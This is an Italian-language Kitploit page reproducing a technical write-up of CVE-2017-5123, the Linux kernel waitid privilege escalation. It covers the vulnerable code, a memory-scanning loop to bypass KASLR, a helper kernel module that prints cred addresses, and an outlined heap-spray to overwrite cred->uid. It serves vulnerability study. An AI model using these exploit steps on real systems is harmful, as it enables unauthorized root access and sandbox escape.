Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2017-5123 — Analisi tecnica dettagliata e proof-of-concept exploit per CVE-2017-5123, una vulnerabilità della chiamata di sistema waitid del kernel Linux che consente l'escalation dei privilegi locali tramite un controllo access_ok() mancante. | Kitploit
Strumenti/GitHubGitHub/h1bana/cve-2017-5123
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitApprendimento e FormazioneBinary Exploitation
GitHubh1bana/cve-2017-5123

CVE-2017-5123

Analisi tecnica dettagliata e proof-of-concept exploit per CVE-2017-5123, una vulnerabilità della chiamata di sistema waitid del kernel Linux che consente l'escalation dei privilegi locali tramite un controllo access_ok() mancante.

Vedi Repository
3 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2017-5123

Panoramica del bug

La system call waitid nel kernel Linux non convalidava l'indirizzo di destinazione utilizzato. Ciò poteva consentire a un utente locale di scrivere nella memoria del kernel, portando potenzialmente a un'escalation dei privilegi sul dispositivo o a un escape dalla sandbox.

Descrizione della vulnerabilità

Classificazione della vulnerabilità

  • Escalation dei privilegi
  • Escape dalla sandbox (Chrome)

Codice della vulnerabilità

kernel/exit.c

root@kitploit:~
SYSCALL_DEFINE5(waitid, int, which, pid_t, upid, struct siginfo __user *,
        infop, int, options, struct rusage __user *, ru)
{
    struct rusage r;
    struct waitid_info info = {.status = 0};
    long err = kernel_waitid(which, upid, &info, options, ru ? &r : NULL);
    int signo = 0;

    if (err > 0) {
        signo = SIGCHLD;
        err = 0;
        if (ru && copy_to_user(ru, &r, sizeof(struct rusage)))
            return -EFAULT;
    }
    if (!infop)
        return err;

    user_access_begin(); // bản chất là gọi stac(), tạm thời tắt SMAP
    unsafe_put_user(signo, &infop->si_signo, Efault); // <- thiếu access_ok() check trc khi gọi hàm này
    unsafe_put_user(0, &infop->si_errno, Efault);
    unsafe_put_user(info.cause, &infop->si_code, Efault);
    unsafe_put_user(info.pid, &infop->si_pid, Efault);
    unsafe_put_user(info.uid, &infop->si_uid, Efault);
    unsafe_put_user(info.status, &infop->si_status, Efault);
    user_access_end();  // bản chất là gọi clac(), bật lại SMAP
    return err;
Efault:
    user_access_end();
    return -EFAULT;
}

L'errore identificato qui è la mancanza del controllo access_ok() prima di chiamare la funzione unsafe_put_user(). Nelle versioni precedenti del kernel, il programma utilizzava la funzione put_user(), che includeva la chiamata del controllo access_ok().

root@kitploit:~
put_user(x, void __user *ptr)
    if (access_ok(VERIFY_WRITE, ptr, sizeof(*ptr)))
        return -EFAULT
    user_access_begin()
    *ptr = x
    user_access_end()

Con l'uso della funzione unsafe_put_user(), il programma evita di dover attivare/disattivare SMAP molte volte in rapida successione chiamando user_access_begin() / user_access_end(). La funzione access_ok() qui verifica la validità dell'indirizzo ptr, assicurando che appartenga allo spazio utente, impedendo all'utente di scrivere nella memoria del kernel. Quindi, se chiamiamo la syscall waitid con il parametro infop come indirizzo del kernel, si innesca questo errore.

Sfruttamento

La mancanza del controllo access_ok() ci permette di passare un indirizzo del kernel come parametro infop di waitid, dopodiché la syscall sovrascriverà questo indirizzo chiamando unsafe_put_user(). Una limitazione è che non possiamo controllare cosa verrà scritto nell'indirizzo del kernel fornito. Ci sono 6 campi usati per la scrittura: signo, byte nullo, info.cause, info.pid (valore massimo 0x8000), info.uid, info.status (tipo int32 ma solo valori >0, <256). Il campo più utile è probabilmente il byte nullo. Possiamo usarlo per sovrascrivere cred->euid e cred->uid. Per fare ciò, dobbiamo conoscere l'indirizzo di questi due valori.

Bypass di KASLR tramite scansione della memoria

Secondo kernel.org, l'indirizzo della memoria virtuale del kernel condiviso tra tutti i processi inizia da 0xffff800000000000, tuttavia da 0xffff800000000000 a 0xffff87ffffffffff è "... guard hole, also reserved for hypervisor", quindi inizieremo la scansione della memoria dall'indirizzo 0xffff880000000000. Va anche detto che possiamo scansionare la memoria perché unsafe_put_user() non crasha quando accediamo a indirizzi non validi. Questo impedisce agli utenti non privilegiati di fare DoS del sistema passando indirizzi non validi.

root@kitploit:~
for(i = (char *)0xffff880000000000; ; i+=0x10000000) {
    pid = fork();
    if (pid > 0) 
    {
        if(syscall(__NR_waitid, P_PID, pid, (siginfo_t *)i, WEXITED, NULL) >= 0) 
        {
            printf("[+] Found %p\n", i);
            break;
        }
    }
    else if (pid == 0)
        exit(0);
}

image

Ora conosciamo l'indirizzo dell'heap del kernel. Il passo successivo è determinare l'indirizzo della struct cred.

Trovare l'indirizzo di Cred con heap spray

Sebbene conosciamo l'indirizzo dell'heap del kernel, potrebbe non essere l'indirizzo di inizio dell'heap. Quindi non possiamo calcolare l'indirizzo esatto della struct cred. A questo punto usiamo una tecnica chiamata heap spray.

  • Se creiamo molti processi, ci saranno molte struct cred in memoria. Da ciò possiamo indovinare più facilmente l'indirizzo della struct cred.
  • Quei processi continuano a chiamare geteuid(); se restituisce 0, significa che il processo sta girando con privilegi di root -> bingo.
  • Il processo padre continua a chiamare la syscall waitid() sfruttando la vulnerabilità, indovinando l'indirizzo della struct cred e sovrascrivendo cred->uid a zero.

Il debug per trovare l'indirizzo della struct cred dei processi figli richiede molto tempo, quindi ho usato un modulo esistente per stampare l'indirizzo di cred->euid tramite printk().

root@kitploit:~
#include <linux/module.h>
#include <linux/init.h>
#include <linux/kernel.h>
#include <linux/sched.h>
#include <linux/fs.h>        // for basic filesystem
#include <linux/proc_fs.h>    // for the proc filesystem
#include <linux/seq_file.h>    // for sequence files

static struct proc_dir_entry* jif_file;

static int
jif_show(struct seq_file *m, void *v)
{
    return 0;
}

static int
jif_open(struct inode *inode, struct file *file)
{
     printk("EUID: %p\n", &current->cred->euid);
     return single_open(file, jif_show, NULL);
}

static const struct file_operations jif_fops = {
    .owner    = THIS_MODULE,
    .open    = jif_open,
    .read    = seq_read,
    .llseek    = seq_lseek,
    .release    = single_release,
};

static int __init
jif_init(void)
{
    jif_file = proc_create("jif", 0, NULL, &jif_fops);

    if (!jif_file) {
        return -ENOMEM;
    }

    return 0;
}

static void __exit
jif_exit(void)
{
    remove_proc_entry("jif", NULL);
}

module_init(jif_init);
module_exit(jif_exit);

MODULE_LICENSE("GPL");

image

Ho notato che ci sono indirizzi con forme simili, anche dopo un riavvio, l'offset di questi indirizzi rimane simile. Quindi ho deciso di scegliere un indirizzo e poi aggiungere pagineize in un ciclo per indovinare l'indirizzo della struct cred.

image

Video demo dello sfruttamento

IMAGE ALT TEXT HERE

Alcuni problemi con questo approccio

  • Il tasso di successo non è garantito.
  • Per quanto riguarda le versioni del kernel affette da questa vulnerabilità, il codice di sfruttamento potrebbe non funzionare su tutte le versioni perché, a seconda della versione del kernel, l'offset di EUID durante lo spray è diverso. Affinché il PoC funzioni su tutte le versioni, quando il codice cerca euid da azzerare, ho impostato l'indirizzo come heap addr trovato + offset, e bisogna ridurre l'offset per renderlo utilizzabile su più versioni. Tuttavia, ciò comporta tempi di attacco più lunghi e aumenta la probabilità di kernel panic/crash poiché si potrebbero sovrascrivere altre struct importanti nell'heap.

Versioni affette

  • Versioni affette: kernel Linux 4.13 - 4.13.6
  • Commit che introduce il bug (2017-05-21, v4.13-rc1)

La patch

  • La patch aggiunge il controllo access_ok()
  • Commit che risolve il bug

Conclusione

  • Il bug può essere usato per l'escalation dei privilegi e può essere concatenato con l'escape dalla sandbox di Chrome. Al momento della scoperta, Chrome seccomp consentiva l'uso della syscall waitid.

Riferimenti

  • Exploiting CVE-2017-5123 with full protections. SMEP, SMAP, and the Chrome Sandbox!
Scarica lo strumento